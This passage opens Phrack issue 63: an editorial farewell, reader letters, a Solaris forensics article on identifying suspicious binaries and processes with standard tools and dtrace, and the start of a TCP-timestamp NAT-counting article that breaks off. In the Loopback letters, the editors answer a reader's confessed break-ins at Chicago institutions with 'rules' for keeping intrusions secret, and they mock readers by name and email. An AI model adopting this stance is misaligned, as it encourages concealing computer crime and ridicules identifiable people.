==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x01 of 0x14
[-]=====================================================================[-]
[-]=====================================================================[-]
[-]=====================================================================[-]
For 20 years PHRACK magazine has been the most technical, most original,
the most Hacker magazine in the world. The last five of those years have
been under the guidance of the current editorial team. Over that time, many
new techniques, new bugs and new attacks have been published in PHRACK. We
enojoyed every single moment working on the magazine.
The time is right for new blood, and a fresh phrackstaff.
PHRACK 63 marks the end of the line for some and the start of the line for
others. Our hearts will alwasy be with PHRACK.
Expect a new release, under a new regime, sometime in 2006/2007.
As long as there is technology, there will be hackers. As long as there are
hackers, there will be PHRACK magazine. We look forward to the next 20 years.
__^__ __^__
( ___ )-------------------------------------------------------------( ___ )
| / | 0x01 Introduction phrackstaff 0x07 kb | \ |
| / | 0x02 Loopback phrackstaff 0x05 kb | \ |
| / | 0x03 Linenoise phrackstaff 0x1c kb | \ |
| / | .1 Analysing suspicious binary files | \ |
| / | .2 TCP Timestamp to count hosts behind NAT | \ |
| / | .3 Elliptic Curve Cryptography | \ |
| / | 0x04 Phrack Prophile on Tiago phrackstaff 0x21 kb | \ |
| / | 0x05 OS X heap exploitation techniques Nemo 0x24 kb | \ |
| / | 0x06 Hacking Windows CE (pocketpcs & others) San 0x33 kb | \ |
| / | 0x07 Games with kernel Memory...FreeBSD Style jkong 0x2e kb | \ |
| / | 0x08 Raising The Bar For Windows Rootkit Detection 0x4c kb | \ |
| / | Jamie Butler & Sherri Sparks | \ |
| / | 0x09 Embedded ELF Debugging ELFsh crew 0x5b kb | \ |
| / | 0x0a Hacking Grub for Fun & Profit CoolQ 0x2a kb | \ |
| / | 0x0b Advanced antiforensics : SELF Ripe & Pluf 0x29 kb | \ |
| / | 0x0c Process Dump and Binary Reconstruction ilo 0x69 kb | \ |
| / | 0x0d Next-Gen. Runtime Binary Encryption Zvrba 0x45 kb | \ |
| / | 0x0e Shifting the Stack Pointer andrewg 0x1a kb | \ |
| / | 0x0f NT Shellcode Prevention Demystified Piotr 0xdc kb | \ |
| / | 0x10 PowerPC Cracking on OSX with GDB curious 0x1b kb | \ |
| / | 0x11 Hacking with Embedded Systems cawan 0x27 kb | \ |
| / | 0x12 Process Hiding & The Linux Scheduler Ubra 0x2c kb | \ |
| / | 0x13 Breaking Through a Firewall kotkrye 0x1e kb | \ |
| / | 0x14 Phrack World News phrackstaff 0x0a kb | \ |
|___|_____________[ PHRACK, NO FEAR & NO DOUBT ]_________________|___|
(_____)-------------------------------------------------------------(_____)
^ ^
Shoutz:
Phenoelit : beeing cool & quick with solutions at WTH.
The Dark Tangent : masterminding defc0n
joep : no joep == no hardcover.
rootfiend, lirakis, dink : arizona printing & for keepting the spirit alive
Enjoy the magazine!
Phrack Magazine Vol 11 Number 63, Build 2, Jul 30, 2005. ISSN 1068-1035
Contents Copyright (c) 2005 Phrack Magazine. All Rights Reserved.
Nothing may be reproduced in whole or in part without the prior written
permission from the editors. Phrack Magazine is made available to the
public, as often as possible, free of charge.
|=-----------=[ C O N T A C T P H R A C K M A G A Z I N E ]=---------=|
Editors : phrackstaff@phrack.org
Submissions : phrackstaff@phrack.org
Commentary : loopback@phrack.org
Phrack World News : pwn@phrack.org
Note: You must put the word 'ANTISPAM' somewhere in the Subject-line of
your email. All others will meet their master in /dev/null. We reply to
every email. Lame emails make it into loopback.
|=-----------------------------------------------------------------------=|
Submissions may be encrypted with the following PGP key:
(Hint: Always use the PGP key from the latest issue)
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phrack:~# head -22 /usr/include/std-disclaimer.h
/*
* All information in Phrack Magazine is, to the best of the ability of
* the editors and contributors, truthful and accurate. When possible,
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* If this is the case, please drop us some email so that we can correct
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*
*
* Lastly, it bears mentioning that the opinions that may be expressed in
* the articles of Phrack Magazine are intellectual property of their
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* These opinions do not necessarily represent those of the Phrack Staff.
*/
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x02 of 0x14
|=----------------------=[ L O O P B A C K ]=----------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------=[ Phrack Staff ]=-----------------------------=|
Wow people. We received so much feedback since we announced
that this is our final issue. I'm thrilled. We are hated by so many
(hi Mr. Government) and loved but so few. And yet it's because of the few
what kept us alive.
"Phrack helped me survive the crazyness and boredom inherent in The Man's
system. Big thanks to all authors, editors and hangarounds of Phrack,
past and present." --- Kurisuteru
[ ... ]
"Guys, if it wasn't for you, the internet wouldn't be the same, our
whole lifes wouldn't be the same. I wish you all the best luck there
is in your future. God bless you all and good bye!!!!! --- wolfinux
[ I hope there is a god. There must be. Because I ran this magazine. I
fought against unjustice, opression and against all those who wanted
to shut us down. I fought against stupidity and ignorance. I shook
hands with the devil. I have seen him, I have smelled him and I have
touched him. I know the devil exists and therefore I know there is a
God. ]
"you're the first zine that i ever readed and you have a special place in
my heart... you build my mind!! Thanks you all !!!!" --- thenucker/xy
[ This brotherhood will continue...]
|=[ 0x01 ]=--------------------------------------------------------------=|
I'm hoping the site isn't being abandoned because of pressure from Homeland
Security.
[ I do not have a homeland. I do not believe in governments that scare
the people. I do not bow for anyone. I do what I do best: I spread
the spirit. ]
|=[ 0x02 ]=--------------------------------------------------------------=|
Could you please remove my personal info from this issue?
http://www.phrack.org/phrack/52/P52-02
Thanks in advance.
Itai Dor-On [ <--- him. signing with real name. ]
[ We are not doing phrack anymore. Sorry mate. Ask the new staff. ]
|=[ 0x03 ]=--------------------------------------------------------------=|
Are you interested in one "Cracking for Newbies" article?
Or maybe about how to make a Biege Box?
[ y0, psst. are you the guy that travels through time and tries to
sell wisdom from the past? wicked!!!!!!!!! You are the man! ]
|=[ 0x04 ]=--------------------------------------------------------------=|
From: Joshua ruffolo <ruffolojoshua@yahoo.com>
A friend referred me to your site.
[ smart guy! ]
I know nothing much about what is posted.
[ stupid guy! ]
I don't understand what's what.
[ this is loopback. ]
Apparently there is some basic info that should be known to understand, but
what is it?
[ reading happens from the left to the right:
from HERE --> --> --> --> TO --> --> --> --> --> --> HERE ]
|=[ 0x05 ]=--------------------------------------------------------------=|
During the spring quarter 2004 I took the Advanced Network Security class
at Northwestern University.
[ Must been challenging. Did they give you a Offical Master Operator
Intense Security Expert X4-Certificate and tell you that you did
really well? Bahahahahahahah. ]
And I worked on a security project that has gained the interest of the
CBS 2 Chicago investigative unit.
[ Oh shit! the CBS is after you. Oh Shit. OH SHIT! I heard they
got certified 2 years before you! THEY ARE BETTER. I'M TELLING YOU!
RUUUUUUUN! ]
By pure accident I compromised a large City of Chicago institution over the
2003-2004 Christmas break.
[ These accidents happen all the time. Ask my lawyer. ]
During my research for this project I have compromised other large
Chicagoland institutions.
[ Rule 1: If you hack dont tell it to anyone. It's risky. Especially
in the country where you are living. ]
For now, I would just like to know if anyone out there has penetrated the
following networks and obtained any confidential data or left back doors to
the following networks. Chicago Public Schools, City of Chicago, Chicago
Police or Cook County.
[ Rule 2: Dont ever tell anyone what you hacked. ]
Christopher B. Jurczyk
c-jurczyk@northwestern.edu
[ Rule 3: DONT FUCKING POST YOUR EMAIL TO LOOPBACK!!!! ]
|=[ 0x06 ]=--------------------------------------------------------------=|
BTW I noticed phrack.org has no reverse DNS. Deliberate?
[ anti hacker techniques. ]
|=[ 0x07 ]=--------------------------------------------------------------=|
From: tammy morgan <pipy2u@yahoo.com>
Ok i know you hate dumb questons.
[ I love them. They make my day. ]
Being new to this world cant read mag issues. Am subscriber got list
from bot must have key.
[ Am editor. Dont get you saying what. Hi. ]
But which one do i use to unlock and read. Soooo "LAME" sorry sorry i am,
but could you take pity and just tell me how to open and read issues?
[ ... ]
|=[ 0x08 ]=--------------------------------------------------------------=|
From: Joshua Morales <moreasm@yahoo.com>
This is really stupid question. can i subscribe to
your publication.
[ This is a really smart question: Who gave you our email address? ]
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x03 of 0x14
|=---------------------=[ L I N E N O I S E ]=---------------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ phrack staff ]=-----------------------------=|
...all that does not fit anywhere else but which is worth beeing mentioned
in our holy magazine.... enjoy linenoise.
0x03-1 Analysing suspicious binary files by Boris Loza
0x03-2 TCP Timestamp to count hosts behind NAT by Elie aka Lupin
0x03-3 Elliptic Curve Cryptography by f86c9203
|=-------------------------=[ 0x03-1 ]=----------------------------------=|
|=---------Analyzing Suspicious Binary Files and Processes---------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------By Boris Loza, PhD------------------------------=|
|=-------------------bloza@tegosystemonline.com--------------------------=|
|=-----------------------------------------------------------------------=|
1. Introduction
2. Analyzing a 'strange' binary file
3. Analyzing a 'strange' process
4. Security Forensics using DTrace
5. Conclusion
--[ Introduction
The art of security forensics requires lots of patience, creativity and
observation. You may not always be successful in your endeavours but
constantly 'sharpening' your skills by hands-on practicing, learning a
couple more things here and there in advance will definitely help.
In this article I'd like to share my personal experience in analyzing
suspicious binary files and processes that you may find on the system. We
will use only standard, out of the box, UNIX utilities. The output for all
the examples in the article is provided for Solaris OS.
--[ Analyzing a 'strange' binary file
During your investigation you may encounter some executable (binary) files
whose purpose in your system you don't understand. When you try to read
this file it displays 'garbage'. You cannot recognize this file by name
and you are not sure if you saw it before.
Unfortunately, you cannot read the binary file with more, cat, pg, vi or
other utilities that you normally use for text files. You will need other
tools. In order to read such files, I use the following tools: strings,
file, ldd, adb, and others.
Let's assume, for example, that we found a file called cr1 in the /etc
directory. The first command to run on this file is strings(1). This will
show all printable strings in the object or binary file:
$ strings cr1 | more
%s %s %s%s%s -> %s%s%s (%.*s)
Version: 2.3
Usage: dsniff [-cdmn] [-i interface] [-s snaplen] [-f services]
[-t trigger[,...]] [-r|-w savefile] [expression]
...
/usr/local/lib/dsniff.magic
/usr/local/lib/dsniff.services
...
The output is very long, so some of it has been omitted. But you can see
that it shows that this is actually a dsniff tool masquerading as cr1.
Sometimes you may not be so lucky in finding the name of the program,
version, and usage inside the file. If you still don't know what this file
can do, try to run strings with the 'a' flag, or just '-'. With these
options, strings will look everywhere in the file for strings. If this flag
is omitted, strings only looks in the initialized data space of the object
file:
$ strings cr1 | more
Try to compare this against the output from known binaries to get an idea
of what the program might be.
Alternatively, you can use the nm(1) command to print a name list of an
object file:
$ /usr/ccs/bin/nm -p cr1 | more
cr1:
[Index] Value Size Type Bind Other Shndx Name
[180] |0 | 0| FILE | LOCL | 0 |ABS | decode_smtp.c
[2198] |160348| 320| FUNC | GLOB | 0 | 9 | decode_sniffer
Note that the output of this command may contain thousands of lines,
depending on the size of the object file. You can run nm through pipe to
more or pg, or redirect the output to the file for further analysis.
To check the runtime linker symbol table - calls of shared library routines,
use nm with the '-Du' options, where -D displays the symbol table used by
ld.so.1 and is present even in stripped dynamic executables, and -u prints
a long listing for each undefined symbol.
You can also dump selected parts of any binary file with the dump(1) or
elfdump(1) utilities. The following command will dump the strings table of
cr1 binary:
$ /usr/ccs/bin/dump -c ./cr1 | more
You may use the following options to dump various parts of the file:
-c Dump the string table(s).
-C Dump decoded C++ symbol table names.
-D Dump debugging information.
-f Dump each file header.
-h Dump the section headers.
-l Dump line number information.
-L Dump dynamic linking information and static shared library
information, if available.
-o Dump each program execution header.
-r Dump relocation information.
-s Dump section contents in hexadecimal.
-t Dump symbol table entries.
Note: To display internal version information contained within an ELF file,
use the pvs(1) utility.
If you are still not sure what the file is, run the command file(1):
$ file cr1
cr1: ELF 32-bit MSB executable SPARC32PLUS Version 1, V8+
Required, UltraSPARC1 Extensions Required, dynamically linked, not
stripped
Based on this output, we can tell that this is an executable file for SPARC
that requires the availability of libraries loaded by the OS (dynamically
linked). This file also is not stripped, which means that the symbol tables
were not removed from the compiled binary. This will help us a lot when we
do further analysis.
Note: To strip the symbols, do strip <my_file>.
The file command could also tell us that the binary file is statically
linked, with debug output or stripped.
Statically linked means that all functions are included in the binary, but
results in a larger executable. Debug output - includes debugging symbols,
like variable names, functions, internal symbols, source line numbers, and
source file information. If the file is stripped, its size is much smaller.
The file command identifies the type of a file using, among other tests, a
test for whether the file begins with a certain magic number (see the
/etc/magic file). A magic number is a numeric or string constant that
indicates the file type. See magic(4) for an explanation of the format of
/etc/magic.
If you still don't know what this file is used for, try to guess this by
taking a look at which shared libraries are needed by the binary using
ldd(1) command:
$ ldd cr1
...
libsocket.so.1 => /usr/lib/libsocket.so.1
librpcsvc.so.1 => /usr/lib/librpcsvc.so.1
...
This output tells us that this application requires network share libraries
(libsocket.so.1 and librpcsvc.so.1).
The adb(1) debugger can also be very useful. For example, the following
output shows step-by-step execution of the binary in question:
# adb cr1
:s
adb: target stopped at:
ld.so.1`_rt_boot: ba,a +0xc
<ld.so.1`_rt_boot+0xc>
,5:s
adb: target stopped at:
ld.so.1`_rt_boot+0x58: st %l1, [%o0 + 8]
You can also analyze the file, or run it and see how it actually works. But
be careful when you run an application because you don't know yet what to
expect. For example:
# adb cr1
:r
Using device /dev/hme0 (promiscuous mode)
192.168.2.119 -> web TCP D=22 S=1111 Ack=2013255208
Seq=1407308568 Len=0 Win=17520
web -> 192.168.2.119 TCP D=1111 S=22 Push Ack=1407308568
We can see that this program is a sniffer. See adb(1) for more information
of how to use the debugger.
If you decide to run a program anyway, you can use truss(1). The truss
command allows you to run a program while outputting system calls and
signals.
Note: truss produces lots of output. Redirect the output to the file:
$ truss -f -o cr.out ./cr1
listening on hme0
^C
$
Now you can easily examine the output file cr.out.
As you can see, many tools and techniques can be used to analyze a strange
file. Not all files are easy to analyze. If a file is a statically linked
stripped binary, it would be much more difficult to find what a file
(program) is up to. If you cannot tell anything about a file using simple
tools like strings and ldd, try to debug it and use truss. Experience using
and analyzing the output of these tools, together with a good deal of
patience, will reward you with success.
--[ Analyzing a 'strange' process
What do you do if you find a process that is running on your system, but
you don't know what it is doing? Yes, in UNIX everything is a file, even a
process! There may be situations in which the application runs on the
system but a file is deleted. In this situation the process will still run
because a link to the process exists in the /proc/[PID]/object/a.out
directory, but you may not find the process by its name running the find(1)
command.
For example, let's assume that we are going to investigate the process
ID 22889 from the suspicious srg application that we found running on our
system:
# ps -ef | more
UID PID PPID C STIME TTY TIME CMD
...
root 22889 16318 0 10:09:25 pts/1 0:00 ./srg
...
Sometimes it is as easy as running the strings(1) command against the
/proc/[PID]/object/a.out to identify the process.
# strings /proc/22889/object/a.out | more
...
TTY-Watcher version %s
Usage: %s [-c]
-c turns on curses interface
NOTE: Running without root privileges will only allow you to monitor
yourself.
...
We can see that this command is a TTY-Watcher application that can see all
keystrokes from any terminal on the system.
Suppose we were not able to use strings to identify what this process is
doing. We can examine the process using other tools.
You may want to suspend the process until you will figure out what it is.
For example, run kill -STOP 22889 as root. Check the results. We will look
for 'T' which indicates the process that was stopped:
# /usr/ucb/ps | grep T
root 22889 0.0 0.7 3784 1720 pts/1 T 10:09:25 0:00 ./srg
Resume the process if necessary with kill -CONT <PID>
To further analyze the process, we will create a \core dump\ of variables
and stack of the process:
# gcore 22889
gcore: core.22889 dumped
Here, 22889 is the process ID (PID). Examine results of the core.22889 with
strings:
# strings core.22889 | more
...
TTY-Watcher version %s
Usage: %s [-c]
-c turns on curses interface
NOTE: Running without root privileges will only allow you to monitor
yourself.
...
You may also use coreadm(1M) to analyze the core.22889 file. The coreadm
tool provides an interface for managing the parameters that affect core
file creation. The coreadm command modifies the /etc/coreadm.conf file.
This file is read at boot time and sets the global parameters for core
dump creation.
First, let's set our core filenames to be of the form core.<PROC NAME>.<PID>.
We'll do this only for all programs we execute in this shell (the $$
notation equates to the PID of our current shell):
$ coreadm -p core.%f.%p $$
The %f indicates that the program name will be included, and the %p
indicates that the PID will be appended to the core filename.
You may also use adb to analyze the process. If you don't have the object
file, use the /proc/[PID]/object/a.out. You can use a core file for the
process dumped by gcore or specify a '-' as a core file. If a dash (-) is
specified for the core file, adb will use the system memory to execute the
object file. You can actually run the object file under the adb control (it
could also be dangerous because you don't know for sure what this
application is supposed to do!):
# adb /proc/22889/object/a.out -
main:b
:r
breakpoint at:
main: save %sp, -0xf8, %sp
...
:s
stopped at:
main+4: clr %l0
:s
stopped at:
main+8: sethi %hi(0x38400), %o0
$m
? map
...
b11 = ef632f28 e11 = ef6370ac f11 = 2f28 `/usr/lib/libsocket.so.1'
$q
We start the session by setting a breakpoint at the beginning of main() and
then begin execution of a.out by giving adb the ':r' command to run.
Immediately, we stop at main(), where our breakpoint was set. Next, we list
the first instruction from the object file. The ':s' command tells adb to
step, executing only one assembly instruction at a time.
Note: Consult the book Panic!, by Drake and Brown, for more information on
how to use adb to analyze core dumps.
To analyze the running process, use truss:
# truss -vall -f -o /tmp/outfile -p 22889
# more /tmp/outfile
On other UNIX systems, where available, you may trace a process by using the
ltrace or strace commands. To start the trace, type ltrace -p <PID>.
To view the running process environment, you may use the following:
# /usr/ucb/ps auxeww 22889
USER PID %CPU %MEM SZ RSS TT S START TIME COMMAND
root 22889 0.0 0.4 1120 896 pts/1 S 14:15:27 0:00 -
sh _=/usr/bin/csh
MANPATH=/usr/share/man:/usr/local/man HZ=
PATH=/usr/sbin:/usr/bin:/usr/local/bin:/usr/ccs/bin:/usr/local/sbin:
/opt/NSCPcom/ LOGNAME=root SHELL=/bin/ksh HOME=/
LD_LIBRARY_PATH=/usr/openwin/lib:/usr/local/lib TERM=xterm TZ=
The /usr/ucb directory contains SunOS/BSD compatibility package commands. The
/usr/ucb/ps command displays information about processes. We used the
following options (from the man for ps(1B)):
-a Include information about processes owned by others.
-u Display user-oriented output. This includes fields USER, %CPU,o
%MEM, SZ, RSS and START as described below.
-x Include processes with no controlling terminal.
-e Display the environment as well as the arguments to the command.
-w Use a wide output format (132 columns rather than 80); if repeated,
that is, -ww, use arbitrarily wide output. This information is
used to decide how much of long commands to print.
To view the memory address type:
# ps -ealf | grep 22889
F S UID PID PPID C PRI NI ADDR SZ WCHAN
STIME TTY TIME CMD
8 S root 3401 22889 0 41 20 615a3b40 474 60ba32e6 14:16:49
pts/1 0:00 ./srg
To view the memory usage, type:
# ps -e -opid,vsz,rss,args
PID VSZ RSS COMMAND
...
22889 3792 1728 ./srg
We can see that the ./srg uses 3,792 K of virtual memory, 1,728 of which
have been allocated from physical memory.
You can use the /etc/crash(1M) utility to examine the contents of a proc
structure of the running process:
# /etc/crash
dumpfile = /dev/mem, namelist = /dev/ksyms, outfile = stdout
> p
PROC TABLE SIZE = 3946
SLOT ST PID PPID PGID SID UID PRI NAME FLAGS
...
66 s 22889 16318 16337 24130 0 58 srg load
> p -f 66
PROC TABLE SIZE = 3946
SLOT ST PID PPID PGID SID UID PRI NAME FLAGS
66 s 22889 16318 16337 24130 0 58 srg load
Session: sid: 24130, ctty: vnode(60b8f3ac) maj( 24) min( 1)
...
>
After invoking the crash utility, we used the p function to get the process
table slot (66, in this case). Then, to dump the proc structure for process
PID 22889, we again used the p utility, with the '-f' flag and the process
table slot number.
Like the process structure, the uarea contains supporting data for signals,
including an array that defines the disposition for each possible signal.
The signal disposition tells the operating system what to do in the event
of a signal - ignore it, catch it and invoke a user-defined signal handler,
or take the default action. To dump a process's uarea:
> u 66
PER PROCESS USER AREA FOR PROCESS 66
PROCESS MISC:
command: srg, psargs: ./srg
start: Mon Jun 3 08:56:40 2002
mem: 6ad, type: exec su-user
vnode of current directory: 612daf48
...
>
The 'u' function takes a process table slot number as an argument.
To dump the address space of a process, type:
# /usr/proc/bin/pmap -x 22889
To obtain a list of process's open files, use the /usr/proc/bin/pfiles
command:
# /usr/proc/bin/pfiles 22889
The command lists the process name and PID for the process' open files. Note
that various bits of information are provided on each open file, including
the file type, file flags, mode bits, and size.
If you cannot find a binary file and the process is on the memory only, you
can still use methods described for analyzing suspicious binary files above
against the process's object file. For example:
# /usr/ccs/bin/nm a.out | more
a.out:
[Index] Value Size Type Bind Other Shndx Name
...
[636] | 232688| 4|OBJT |GLOB |0 |17 |Master_utmp
[284] | 234864| 20|OBJT |GLOB |0 |17 |Mouse_status
You may also use mdb(1) - a modular debugger to analyze the process:
# mdb -p 22889
Loading modules: [ ld.so.1 libc.so.1 libnvpair.so.1 libuutil.so.1 ]
> ::objects
BASE LIMIT SIZE NAME
10000 62000 52000 ./srg
ff3b0000 ff3dc000 2c000 /lib/ld.so.1
ff370000 ff37c000 c000 /lib/libsocket.so.1
ff280000 ff312000 92000 /lib/libnsl.so.1
--[ Security Forensics using DTrace
Solaris 10 has introduced a new tool for Dynamic Tracing in the OS
environment - dtrace. This is a very powerful tool that allows system
administrators to observe and debug the OS behaviour or even to dynamically
modify the kernel. Dtrace has its own C/C++ like programming language called
'D language' and comes with many different options that I am not going to
discuss here. Consult dtrace(1M) man pages and
http://docs.sun.com/app/docs/doc/817-6223 for more information.
Although this tool has been designed primarily for developers and
administrators, I will explain how one can use dtrace for analyzing
suspicious files and process.
We will work on a case study, as followes. For example, let's assume that we
are going to investigate the process ID 968 from the suspicious srg
application that we found running on our system.
By typing the following at the command-line, you will list all files that
this particular process opens at the time of our monitoring. Let it run for
a while and terminate with Control-C:
# dtrace -n syscall::open:entry'/pid == 968/
{ printf("%s%s",execname,copyinstr(arg0)); }'
dtrace: description 'syscall::open*:entry' matched 2 probes
^C
CPU ID FUNCTION:NAME
0 14 open:entry srg /var/ld/ld.config
0 14 open:entry srg /lib/libdhcputil.so.1
0 14 open:entry srg /lib/libsocket.so.1
0 14 open:entry srg /lib/libnsl.so.1
D language comes with its own terminology, which I will try to address here
briefly.
The whole 'syscall::open:entry' construction is called a 'probe' and
defines a location or activity to which dtrace binds a request to perform
a set of 'actions'. The 'syscall' element of the probe is called a 'provider'
and, in our case, permits to enable probes on 'entry' (start) to any 'open'
Solaris system call ('open' system call instracts the kernel to open a file
for reading or writing).
The so-called 'predicate' - /pid == 968/ uses the predefined dtrace
variable 'pid', which always evaluates to the process ID associated with
the thread that fired the corresponding probe.
The 'execname' and 'copyinstr(arg0)' are called 'actions' and define the
name of the current process executable file and convert the first integer
argument of the system call (arg0) into a string format respectively. The
printf's action uses the same syntax as in C language and serves for the
same purpose - to format the output.
Each D program consists of a series of 'clauses', each clause describing one
or more probes to enable, and an optional set of actions to perform when the
probe fires. The actions are listed as a series of statements enclosed in
curly braces { } following the probe name. Each statement ends with a
semicolon (;).
You may want to read the Introduction from Solaris Tracing Guide
(http://docs.sun.com/app/docs/doc/817-6223) for more options and to
understand the syntax.
Note: As the name suggests, the dtrace (Dynamic Trace) utility will show you
the information about a chnaging process - in dynamic. That is, if the
process is idle (doesn't do any system calls or opens new files), you won't
be able to get any information. To analyze the process, either restart it or
use methods described in the previous two sections of this paper.
Second, we will use the following command-line construction to list all
system calls for 'srg'. Let it run for a while and terminate by Control-C:
# dtrace -n 'syscall:::entry /execname == "srg"/ { @num[probefunc] =
count(); }'
dtrace: description 'syscall:::entry ' matched 226 probes
^C
pollsys 1
getrlimit 1
connect 1
setsockopt 1
...
You may recognize some of the building elements of this small D program. In
addition, this clause defines an array named 'num' and assigns the
appropriate member 'probefunc' (executed system call's function) the namber
of times these particular functions have been called (count()).
Using dtrace we can easily emulate all utilities we have used in the
previous sections to analyze suspicious binary files and processes. But
dtrace is much more powerful tool and may provide one with more
functionality: for example, you can dynamically monitor the stack of the
process in question:
# dtrace -n 'syscall:::entry/execname == "srg"/{ustack()}'
0 286 lwp_sigmask:entry
libc.so.1`__systemcall6+0x20
libc.so.1`pthread_sigmask+0x1b4
libc.so.1`sigprocmask+0x20
srg`srg_alarm+0x134
srg`scan+0x400
srg`net_read+0xc4
srg`main+0xabc
srg`_start+0x108
Based on all our investigation (see the list of opened files, syscalls,
and the stack examination above), we may positively conclude that srg is a
network based application. Does it write to the network? Let's check it by
constructing the following clause:
# dtrace -n 'mib:ip::/execname == "srg"/{@[execname]=count()}'
dtrace: description 'mib:ip::' matched 412 probes
dtrace: aggregation size lowered to 2m
^C
srg 520
It does. We used 'mib' provider to find out if our application transmits
to the network.
Could it be just a sniffer or a netcat-liked application that is bounded
to a specific port? Let's run dtrace in the truss(1) like fashion to answer
this question (inspired by Brendan Gregg's dtruss utility ):
#!/usr/bin/sh
#
dtrace='
inline string cmd_name = "'$1'";
/*
** Save syscall entry info
*/
syscall:::entry
/execname == cmd_name/
{
/* set start details */
self->start = timestamp;
self->arg0 = arg0;
self->arg1 = arg1;
self->arg2 = arg2;
}
/* Print data */
syscall::write:return,
syscall::pwrite:return,
syscall::*read*:return
/self->start/
{
printf("%s(0x%X, \"%S\", 0x%X)\t\t = %d\n",probefunc,self->arg0,
stringof(copyin(self->arg1,self->arg2)),self->arg2,(int)arg0);
self->arg0 = arg0;
self->arg1 = arg1;
self->arg2 = arg2;
}
'
# Run dtrace
/usr/sbin/dtrace -x evaltime=exec -n "$dtrace" >&2
Save it as truss.d, change the permissions to executable and run:
# ./truss.d srg
0 13 write:return write(0x1, " sol10 -
> 192.168.2.119 TCP D=3138 S=22 Ack=713701289 Seq=3755926338 Len=0
Win=49640\n8741 Len=52 Win=16792\n\0", 0x5B) = 91
0 13 0 13
write:return write(0x1, "192.168.2.111 -> 192.168.2.1 UDP D=1900
S=21405 LEN=140\n\0", 0x39) = 57
^C
Looks like a sniffer to me, with probably some remote logging (remember the
network transmission by ./srg discovered by the 'mib' provider above!).
You can actually write pretty sophisticated programs for dtrace using D
language.
Take a look at /usr/demo/dtrace for some examples.
You may also use dtrace for other forensic activities. Below is an example
of more complex script that allows monitoring of who fires the suspicious
application and starts recording of all the files opened by the process:
#!/usr/bin/sh
command=$1
/usr/sbin/dtrace -n '
inline string COMMAND = "'$command'";
#pragma D option quiet
/*
** Print header
*/
dtrace:::BEGIN
{
/* print headers */
printf("%-20s %5s %5s %5s %s\n","START_TIME","UID","PID","PPID","ARGS");
}
/*
** Print exec event
*/
syscall::exec:return, syscall::exece:return
/(COMMAND == execname)/
{
/* print data */
printf("%-20Y %5d %5d %5d %s\n",walltimestamp,uid,pid,ppid,
stringof(curpsinfo->pr_psargs));
s_pid = pid;
}
/*
** Print open files
*/
syscall::open*:entry
/pid == s_pid/
{
printf("%s\n",copyinstr(arg0));
}
'
Save this script as wait.d, change the permissions to executable
'chmod +x wait.d' and run:
# ./wait.d srg
START_TIME UID PID PPID ARGS
2005 May 16 19:51:20 100 1582 1458 ./srg
/var/ld/ld.config
/lib/libnsl.so.1
/lib/libsocket.so.1
/lib/libresolv.so.2
...
^C
Once the srg is started you will see the output.
However, the real power of dtrace comes from the fact that you can do
things with it that won't be possible without writing a comprehensive
C program. For example, the shellsnoop application written by Brendan Gregg
(http://users.tpg.com.au/adsln4yb/DTrace/shellsnoop) allows you to use
dtrace at the capacity of ttywatcher!
It is not possible to show all capabilities of dtrace in such a small
presentation of this amazing utility. Dtrace is a very powerful as well a
complex tool with virtually endless capabilities. Although Sun insists that
you don't have to have a 'deep understanding of the kernel for DTrace to be
useful', the knowledge of Solaris internals is a real asset. Taking a look
at the include files in /usr/include/sys/ directory may help you to write
complex D scripts and give you more of an understanding of how Solaris 10
is implemented.
--[ Conclusion
Be creative and observant. Apply all your knowledge and experience for
analyzing suspicious binary files and processes. Also, be patient and have
a sense of humour!
|=-------------------------=[ 0x03-2 ]=----------------------------------=|
|=----------=[ TCP Timestamp To count Hosts behind NAT ]=----------------=|
|=-----------------------------------------------------------------------=|
|=-------------=[ Elie aka Lupin (lupin@zonart.net) ]=-------------------=|
Table of Contents
*=*=*=*=*=*=*=*=*
1.0 - Introduction
2.0 - Time has something to tell us
- 2.1 Past history
- 2.2 Present
- 2.3 Back to the begin of timestamp history
- 2.4 Back to school
- 2.5 Back to the NAT
- 2.6 Let's do PAT
- 2.7 Time to fightback
3.0 History has something to tell us
- 3.1 Which class ?
- 3.2 So were does it come from ?
- 3.3 How do you find it ?
- 3.4 Back to the future
- 4 Learning from the past aka conclusion
- A Acknowledgements
- B Proof of concept
--[ 1.0 - Introduction
This article is about TCP timestamp option. This option is used to
offer a new way for counting host beyond a NAT and enhanced host
fingerprinting. More deeply, this article tries to give a new vision of a
class of bug known has "Design error". The bug described here, deserves
interest for the following reasons.
- It's new.
- It affects every platform since it is related to the specification
rather than implementation.
- It's a good way to explain how some specifications can be broken.
The article is organized has follow : First I will explain what's
wrong about TCP timestamp. Then I will describe How to exploit it, the
limitations of this exploitation and a way to avoid it. In the second part
I will talk about the origin of this error and why it will happen again. At
the end I will give a proof of concept and greeting as usual.
--[ 2.0 - Time has something to tell us
----[ 2.1 - Past history
Fingerprinting and Nat detection have been an active field for long
time. Since you read phrack you already know the old school TCP/IP
fingerprinting by Fyodor.
You may also know p0f (Passive of fingerprinting) by M. Zalewski. With
the version 2 he has done a wonderful tool, introducing clever ways to know
if a host uses the NAT mechanism by analyzing TCP packet option. If you are
interested in this tool (and you should !) read his paper :
"Dr. Jekyll had something to Hyde"[5].
In fact the technique described here is related to p0f in the way, that
like p0f, it can be totally passive.
To be complete about NAT detection, I need to mention that AT&T has
done research on counting host behind a NAT[1]. Their work focus on IP ID,
assuming that this value is incremental in some OS. In fact they are mainly
talking about Windows box which increment IP ID by 256 for each packet.
Discovered by Antirez[7], Nmap[6] has used this fact for a long time
(option -sI).
Now that we know what we are talking about it's time to explain what's
going on.
----[ 2.2 - Present
NAT was designed to face the IP address depletion. It is also used to
hide multiple hosts behind a single IP. The TCP timestamp option[2] is
improperly handled by the IP Network Address Translator (NAT) mechanism[3].
In other words even scrubbing from pf doesn't rewrite the timestamp option.
Until now this property of the NAT has been useless (in the security point
of view). It is interesting to point out that the timestamp option by itself
has already been used for information disclosure. Let's take a quick look
at timestamp security history
----[ 2.3 - Back to the beginning of timestamp history
In the past the timestamp has been used to calculate the uptime of a
computer[4]. Any one who had try the TCP fingerprint option (-O) of Nmap
has been impressed by a line like this one :
